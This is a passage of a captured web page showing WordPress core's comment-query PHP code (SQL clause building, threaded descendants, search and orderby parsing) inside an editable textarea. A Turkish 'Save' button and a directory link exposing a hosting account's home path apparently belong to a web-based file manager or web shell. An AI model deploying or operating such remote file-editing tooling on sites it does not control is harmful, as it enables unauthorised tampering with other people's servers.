			foreach ( $_raw_types as $type ) {
				switch ( $type ) {
					// An empty translates to &#039;all&#039;, for backward compatibility.
					case &#039;&#039;:
					case &#039;all&#039;:
						break;

					case &#039;comment&#039;:
					case &#039;comments&#039;:
						$comment_types[ $operator ][] = &quot;&#039;&#039;&quot;;
						$comment_types[ $operator ][] = &quot;&#039;comment&#039;&quot;;
						break;

					case &#039;pings&#039;:
						$comment_types[ $operator ][] = &quot;&#039;pingback&#039;&quot;;
						$comment_types[ $operator ][] = &quot;&#039;trackback&#039;&quot;;
						break;

					default:
						$comment_types[ $operator ][] = $wpdb-&gt;prepare( &#039;%s&#039;, $type );
						break;
				}
			}

			if ( ! empty( $comment_types[ $operator ] ) ) {
				$types_sql = implode( &#039;, &#039;, $comment_types[ $operator ] );
				$this-&gt;sql_clauses[&#039;where&#039;][ &#039;comment_type__&#039; . strtolower( str_replace( &#039; &#039;, &#039;_&#039;, $operator ) ) ] = &quot;comment_type $operator ($types_sql)&quot;;
			}
		}

		$parent = $this-&gt;query_vars[&#039;parent&#039;];
		if ( $this-&gt;query_vars[&#039;hierarchical&#039;] &amp;&amp; ! $parent ) {
			$parent = 0;
		}

		if ( &#039;&#039; !== $parent ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;parent&#039;] = $wpdb-&gt;prepare( &#039;comment_parent = %d&#039;, $parent );
		}

		if ( is_array( $this-&gt;query_vars[&#039;user_id&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;user_id&#039;] = &#039;user_id IN (&#039; . implode( &#039;,&#039;, array_map( &#039;absint&#039;, $this-&gt;query_vars[&#039;user_id&#039;] ) ) . &#039;)&#039;;
		} elseif ( &#039;&#039; !== $this-&gt;query_vars[&#039;user_id&#039;] ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;user_id&#039;] = $wpdb-&gt;prepare( &#039;user_id = %d&#039;, $this-&gt;query_vars[&#039;user_id&#039;] );
		}

		// Falsey search strings are ignored.
		if ( isset( $this-&gt;query_vars[&#039;search&#039;] ) &amp;&amp; strlen( $this-&gt;query_vars[&#039;search&#039;] ) ) {
			$search_sql = $this-&gt;get_search_sql(
				$this-&gt;query_vars[&#039;search&#039;],
				array( &#039;comment_author&#039;, &#039;comment_author_email&#039;, &#039;comment_author_url&#039;, &#039;comment_author_IP&#039;, &#039;comment_content&#039; )
			);

			// Strip leading &#039;AND&#039;.
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;search&#039;] = preg_replace( &#039;/^\s*AND\s*/&#039;, &#039;&#039;, $search_sql );
		}

		// If any post-related query vars are passed, join the posts table.
		$join_posts_table = false;
		$plucked          = wp_array_slice_assoc( $this-&gt;query_vars, array( &#039;post_author&#039;, &#039;post_name&#039;, &#039;post_parent&#039; ) );
		$post_fields      = array_filter( $plucked );

		if ( ! empty( $post_fields ) ) {
			$join_posts_table = true;
			foreach ( $post_fields as $field_name =&gt; $field_value ) {
				// $field_value may be an array.
				$esses = array_fill( 0, count( (array) $field_value ), &#039;%s&#039; );

				// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
				$this-&gt;sql_clauses[&#039;where&#039;][ $field_name ] = $wpdb-&gt;prepare( &quot; {$wpdb-&gt;posts}.{$field_name} IN (&quot; . implode( &#039;,&#039;, $esses ) . &#039;)&#039;, $field_value );
			}
		}

		// &#039;post_status&#039; and &#039;post_type&#039; are handled separately, due to the specialized behavior of &#039;any&#039;.
		foreach ( array( &#039;post_status&#039;, &#039;post_type&#039; ) as $field_name ) {
			$q_values = array();
			if ( ! empty( $this-&gt;query_vars[ $field_name ] ) ) {
				$q_values = $this-&gt;query_vars[ $field_name ];
				if ( ! is_array( $q_values ) ) {
					$q_values = explode( &#039;,&#039;, $q_values );
				}

				// &#039;any&#039; will cause the query var to be ignored.
				if ( in_array( &#039;any&#039;, $q_values, true ) || empty( $q_values ) ) {
					continue;
				}

				$join_posts_table = true;

				$esses = array_fill( 0, count( $q_values ), &#039;%s&#039; );

				// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
				$this-&gt;sql_clauses[&#039;where&#039;][ $field_name ] = $wpdb-&gt;prepare( &quot; {$wpdb-&gt;posts}.{$field_name} IN (&quot; . implode( &#039;,&#039;, $esses ) . &#039;)&#039;, $q_values );
			}
		}

		// Comment author IDs for an IN clause.
		if ( ! empty( $this-&gt;query_vars[&#039;author__in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;author__in&#039;] = &#039;user_id IN ( &#039; . implode( &#039;,&#039;, wp_parse_id_list( $this-&gt;query_vars[&#039;author__in&#039;] ) ) . &#039; )&#039;;
		}

		// Comment author IDs for a NOT IN clause.
		if ( ! empty( $this-&gt;query_vars[&#039;author__not_in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;author__not_in&#039;] = &#039;user_id NOT IN ( &#039; . implode( &#039;,&#039;, wp_parse_id_list( $this-&gt;query_vars[&#039;author__not_in&#039;] ) ) . &#039; )&#039;;
		}

		// Post author IDs for an IN clause.
		if ( ! empty( $this-&gt;query_vars[&#039;post_author__in&#039;] ) ) {
			$join_posts_table                              = true;
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;post_author__in&#039;] = &#039;post_author IN ( &#039; . implode( &#039;,&#039;, wp_parse_id_list( $this-&gt;query_vars[&#039;post_author__in&#039;] ) ) . &#039; )&#039;;
		}

		// Post author IDs for a NOT IN clause.
		if ( ! empty( $this-&gt;query_vars[&#039;post_author__not_in&#039;] ) ) {
			$join_posts_table                                  = true;
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;post_author__not_in&#039;] = &#039;post_author NOT IN ( &#039; . implode( &#039;,&#039;, wp_parse_id_list( $this-&gt;query_vars[&#039;post_author__not_in&#039;] ) ) . &#039; )&#039;;
		}

		$join    = &#039;&#039;;
		$groupby = &#039;&#039;;

		if ( $join_posts_table ) {
			$join .= &quot;JOIN $wpdb-&gt;posts ON $wpdb-&gt;posts.ID = $wpdb-&gt;comments.comment_post_ID&quot;;
		}

		if ( ! empty( $this-&gt;meta_query_clauses ) ) {
			$join .= $this-&gt;meta_query_clauses[&#039;join&#039;];

			// Strip leading &#039;AND&#039;.
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;meta_query&#039;] = preg_replace( &#039;/^\s*AND\s*/&#039;, &#039;&#039;, $this-&gt;meta_query_clauses[&#039;where&#039;] );

			if ( ! $this-&gt;query_vars[&#039;count&#039;] ) {
				$groupby = &quot;{$wpdb-&gt;comments}.comment_ID&quot;;
			}
		}

		if ( ! empty( $this-&gt;query_vars[&#039;date_query&#039;] ) &amp;&amp; is_array( $this-&gt;query_vars[&#039;date_query&#039;] ) ) {
			$this-&gt;date_query = new WP_Date_Query( $this-&gt;query_vars[&#039;date_query&#039;], &#039;comment_date&#039; );

			// Strip leading &#039;AND&#039;.
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;date_query&#039;] = preg_replace( &#039;/^\s*AND\s*/&#039;, &#039;&#039;, $this-&gt;date_query-&gt;get_sql() );
		}

		$where = implode( &#039; AND &#039;, $this-&gt;sql_clauses[&#039;where&#039;] );

		$pieces = array( &#039;fields&#039;, &#039;join&#039;, &#039;where&#039;, &#039;orderby&#039;, &#039;limits&#039;, &#039;groupby&#039; );

		/**
		 * Filters the comment query clauses.
		 *
		 * @since 3.1.0
		 *
		 * @param string[]         $clauses {
		 *     Associative array of the clauses for the query.
		 *
		 *     @type string $fields   The SELECT clause of the query.
		 *     @type string $join     The JOIN clause of the query.
		 *     @type string $where    The WHERE clause of the query.
		 *     @type string $orderby  The ORDER BY clause of the query.
		 *     @type string $limits   The LIMIT clause of the query.
		 *     @type string $groupby  The GROUP BY clause of the query.
		 * }
		 * @param WP_Comment_Query $query   Current instance of WP_Comment_Query (passed by reference).
		 */
		$clauses = apply_filters_ref_array( &#039;comments_clauses&#039;, array( compact( $pieces ), &amp;$this ) );

		$fields  = isset( $clauses[&#039;fields&#039;] ) ? $clauses[&#039;fields&#039;] : &#039;&#039;;
		$join    = isset( $clauses[&#039;join&#039;] ) ? $clauses[&#039;join&#039;] : &#039;&#039;;
		$where   = isset( $clauses[&#039;where&#039;] ) ? $clauses[&#039;where&#039;] : &#039;&#039;;
		$orderby = isset( $clauses[&#039;orderby&#039;] ) ? $clauses[&#039;orderby&#039;] : &#039;&#039;;
		$limits  = isset( $clauses[&#039;limits&#039;] ) ? $clauses[&#039;limits&#039;] : &#039;&#039;;
		$groupby = isset( $clauses[&#039;groupby&#039;] ) ? $clauses[&#039;groupby&#039;] : &#039;&#039;;

		$this-&gt;filtered_where_clause = $where;

		if ( $where ) {
			$where = &#039;WHERE &#039; . $where;
		}

		if ( $groupby ) {
			$groupby = &#039;GROUP BY &#039; . $groupby;
		}

		if ( $orderby ) {
			$orderby = &quot;ORDER BY $orderby&quot;;
		}

		$found_rows = &#039;&#039;;
		if ( ! $this-&gt;query_vars[&#039;no_found_rows&#039;] ) {
			$found_rows = &#039;SQL_CALC_FOUND_ROWS&#039;;
		}

		$this-&gt;sql_clauses[&#039;select&#039;]  = &quot;SELECT $found_rows $fields&quot;;
		$this-&gt;sql_clauses[&#039;from&#039;]    = &quot;FROM $wpdb-&gt;comments $join&quot;;
		$this-&gt;sql_clauses[&#039;groupby&#039;] = $groupby;
		$this-&gt;sql_clauses[&#039;orderby&#039;] = $orderby;
		$this-&gt;sql_clauses[&#039;limits&#039;]  = $limits;

		// Beginning of the string is on a new line to prevent leading whitespace. See https://core.trac.wordpress.org/ticket/56841.
		$this-&gt;request =
			&quot;{$this-&gt;sql_clauses[&#039;select&#039;]}
			 {$this-&gt;sql_clauses[&#039;from&#039;]}
			 {$where}
			 {$this-&gt;sql_clauses[&#039;groupby&#039;]}
			 {$this-&gt;sql_clauses[&#039;orderby&#039;]}
			 {$this-&gt;sql_clauses[&#039;limits&#039;]}&quot;;

		if ( $this-&gt;query_vars[&#039;count&#039;] ) {
			return (int) $wpdb-&gt;get_var( $this-&gt;request );
		} else {
			$comment_ids = $wpdb-&gt;get_col( $this-&gt;request );
			return array_map( &#039;intval&#039;, $comment_ids );
		}
	}

	/**
	 * Populates found_comments and max_num_pages properties for the current
	 * query if the limit clause was used.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	private function set_found_comments() {
		global $wpdb;

		if ( $this-&gt;query_vars[&#039;number&#039;] &amp;&amp; ! $this-&gt;query_vars[&#039;no_found_rows&#039;] ) {
			/**
			 * Filters the query used to retrieve found comment count.
			 *
			 * @since 4.4.0
			 *
			 * @param string           $found_comments_query SQL query. Default &#039;SELECT FOUND_ROWS()&#039;.
			 * @param WP_Comment_Query $comment_query        The `WP_Comment_Query` instance.
			 */
			$found_comments_query = apply_filters( &#039;found_comments_query&#039;, &#039;SELECT FOUND_ROWS()&#039;, $this );

			$this-&gt;found_comments = (int) $wpdb-&gt;get_var( $found_comments_query );
		}
	}

	/**
	 * Fetch descendants for located comments.
	 *
	 * Instead of calling `get_children()` separately on each child comment, we do a single set of queries to fetch
	 * the descendant trees for all matched top-level comments.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_Comment[] $comments Array of top-level comments whose descendants should be filled in.
	 * @return array
	 */
	protected function fill_descendants( $comments ) {
		$levels = array(
			0 =&gt; wp_list_pluck( $comments, &#039;comment_ID&#039; ),
		);

		$key          = md5( serialize( wp_array_slice_assoc( $this-&gt;query_vars, array_keys( $this-&gt;query_var_defaults ) ) ) );
		$last_changed = wp_cache_get_last_changed( &#039;comment&#039; );

		// Fetch an entire level of the descendant tree at a time.
		$level        = 0;
		$exclude_keys = array( &#039;parent&#039;, &#039;parent__in&#039;, &#039;parent__not_in&#039; );
		do {
			// Parent-child relationships may be cached. Only query for those that are not.
			$child_ids           = array();
			$uncached_parent_ids = array();
			$_parent_ids         = $levels[ $level ];
			if ( $_parent_ids ) {
				$cache_keys = array();
				foreach ( $_parent_ids as $parent_id ) {
					$cache_keys[ $parent_id ] = &quot;get_comment_child_ids:$parent_id:$key:$last_changed&quot;;
				}
				$cache_data = wp_cache_get_multiple( array_values( $cache_keys ), &#039;comment-queries&#039; );
				foreach ( $_parent_ids as $parent_id ) {
					$parent_child_ids = $cache_data[ $cache_keys[ $parent_id ] ];
					if ( false !== $parent_child_ids ) {
						$child_ids = array_merge( $child_ids, $parent_child_ids );
					} else {
						$uncached_parent_ids[] = $parent_id;
					}
				}
			}

			if ( $uncached_parent_ids ) {
				// Fetch this level of comments.
				$parent_query_args = $this-&gt;query_vars;
				foreach ( $exclude_keys as $exclude_key ) {
					$parent_query_args[ $exclude_key ] = &#039;&#039;;
				}
				$parent_query_args[&#039;parent__in&#039;]    = $uncached_parent_ids;
				$parent_query_args[&#039;no_found_rows&#039;] = true;
				$parent_query_args[&#039;hierarchical&#039;]  = false;
				$parent_query_args[&#039;offset&#039;]        = 0;
				$parent_query_args[&#039;number&#039;]        = 0;

				$level_comments = get_comments( $parent_query_args );

				// Cache parent-child relationships.
				$parent_map = array_fill_keys( $uncached_parent_ids, array() );
				foreach ( $level_comments as $level_comment ) {
					$parent_map[ $level_comment-&gt;comment_parent ][] = $level_comment-&gt;comment_ID;
					$child_ids[]                                    = $level_comment-&gt;comment_ID;
				}

				$data = array();
				foreach ( $parent_map as $parent_id =&gt; $children ) {
					$cache_key          = &quot;get_comment_child_ids:$parent_id:$key:$last_changed&quot;;
					$data[ $cache_key ] = $children;
				}
				wp_cache_set_multiple( $data, &#039;comment-queries&#039; );
			}

			++$level;
			$levels[ $level ] = $child_ids;
		} while ( $child_ids );

		// Prime comment caches for non-top-level comments.
		$descendant_ids = array();
		for ( $i = 1, $c = count( $levels ); $i &lt; $c; $i++ ) {
			$descendant_ids = array_merge( $descendant_ids, $levels[ $i ] );
		}

		_prime_comment_caches( $descendant_ids, $this-&gt;query_vars[&#039;update_comment_meta_cache&#039;] );

		// Assemble a flat array of all comments + descendants.
		$all_comments = $comments;
		foreach ( $descendant_ids as $descendant_id ) {
			$all_comments[] = get_comment( $descendant_id );
		}

		// If a threaded representation was requested, build the tree.
		if ( &#039;threaded&#039; === $this-&gt;query_vars[&#039;hierarchical&#039;] ) {
			$threaded_comments = array();
			$ref               = array();
			foreach ( $all_comments as $k =&gt; $c ) {
				$_c = get_comment( $c-&gt;comment_ID );

				// If the comment isn&#039;t in the reference array, it goes in the top level of the thread.
				if ( ! isset( $ref[ $c-&gt;comment_parent ] ) ) {
					$threaded_comments[ $_c-&gt;comment_ID ] = $_c;
					$ref[ $_c-&gt;comment_ID ]               = $threaded_comments[ $_c-&gt;comment_ID ];

					// Otherwise, set it as a child of its parent.
				} else {

					$ref[ $_c-&gt;comment_parent ]-&gt;add_child( $_c );
					$ref[ $_c-&gt;comment_ID ] = $ref[ $_c-&gt;comment_parent ]-&gt;get_child( $_c-&gt;comment_ID );
				}
			}

			// Set the &#039;populated_children&#039; flag, to ensure additional database queries aren&#039;t run.
			foreach ( $ref as $_ref ) {
				$_ref-&gt;populated_children( true );
			}

			$comments = $threaded_comments;
		} else {
			$comments = $all_comments;
		}

		return $comments;
	}

	/**
	 * Used internally to generate an SQL string for searching across multiple columns.
	 *
	 * @since 3.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string   $search  Search string.
	 * @param string[] $columns Array of columns to search.
	 * @return string Search SQL.
	 */
	protected function get_search_sql( $search, $columns ) {
		global $wpdb;

		$like = &#039;%&#039; . $wpdb-&gt;esc_like( $search ) . &#039;%&#039;;

		$searches = array();
		foreach ( $columns as $column ) {
			$searches[] = $wpdb-&gt;prepare( &quot;$column LIKE %s&quot;, $like );
		}

		return &#039; AND (&#039; . implode( &#039; OR &#039;, $searches ) . &#039;)&#039;;
	}

	/**
	 * Parse and sanitize &#039;orderby&#039; keys passed to the comment query.
	 *
	 * @since 4.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $orderby Alias for the field to order by.
	 * @return string|false Value to used in the ORDER clause. False otherwise.
	 */
	protected function parse_orderby( $orderby ) {
		global $wpdb;

		$allowed_keys = array(
			&#039;comment_agent&#039;,
			&#039;comment_approved&#039;,
			&#039;comment_author&#039;,
			&#039;comment_author_email&#039;,
			&#039;comment_author_IP&#039;,
			&#039;comment_author_url&#039;,
			&#039;comment_content&#039;,
			&#039;comment_date&#039;,
			&#039;comment_date_gmt&#039;,
			&#039;comment_ID&#039;,
			&#039;comment_karma&#039;,
			&#039;comment_parent&#039;,
			&#039;comment_post_ID&#039;,
			&#039;comment_type&#039;,
			&#039;user_id&#039;,
		);

		if ( ! empty( $this-&gt;query_vars[&#039;meta_key&#039;] ) ) {
			$allowed_keys[] = $this-&gt;query_vars[&#039;meta_key&#039;];
			$allowed_keys[] = &#039;meta_value&#039;;
			$allowed_keys[] = &#039;meta_value_num&#039;;
		}

		$meta_query_clauses = $this-&gt;meta_query-&gt;get_clauses();
		if ( $meta_query_clauses ) {
			$allowed_keys = array_merge( $allowed_keys, array_keys( $meta_query_clauses ) );
		}

		$parsed = false;
		if ( $this-&gt;query_vars[&#039;meta_key&#039;] === $orderby || &#039;meta_value&#039; === $orderby ) {
			$parsed = &quot;$wpdb-&gt;commentmeta.meta_value&quot;;
		} elseif ( &#039;meta_value_num&#039; === $orderby ) {
			$parsed = &quot;$wpdb-&gt;commentmeta.meta_value+0&quot;;
		} elseif ( &#039;comment__in&#039; === $orderby ) {
			$comment__in = implode( &#039;,&#039;, array_map( &#039;absint&#039;, $this-&gt;query_vars[&#039;comment__in&#039;] ) );
			$parsed      = &quot;FIELD( {$wpdb-&gt;comments}.comment_ID, $comment__in )&quot;;
		} elseif ( in_array( $orderby, $allowed_keys, true ) ) {

			if ( isset( $meta_query_clauses[ $orderby ] ) ) {
				$meta_clause = $meta_query_clauses[ $orderby ];
				$parsed      = sprintf( &#039;CAST(%s.meta_value AS %s)&#039;, esc_sql( $meta_clause[&#039;alias&#039;] ), esc_sql( $meta_clause[&#039;cast&#039;] ) );
			} else {
				$parsed = &quot;$wpdb-&gt;comments.$orderby&quot;;
			}
		}

		return $parsed;
	}

	/**
	 * Parse an &#039;order&#039; query variable and cast it to ASC or DESC as necessary.
	 *
	 * @since 4.2.0
	 *
	 * @param string $order The &#039;order&#039; query variable.
	 * @return string The sanitized &#039;order&#039; query variable.
	 */
	protected function parse_order( $order ) {
		if ( ! is_string( $order ) || empty( $order ) ) {
			return &#039;DESC&#039;;
		}

		if ( &#039;ASC&#039; === strtoupper( $order ) ) {
			return &#039;ASC&#039;;
		} else {
			return &#039;DESC&#039;;
		}
	}
}
</textarea><br><br>
        <button>Kaydet</button>
        </form><a href='?path=%2Fhome%2Fm.elifov%2Fstudyondalinda.com'>?? Yukar?</a>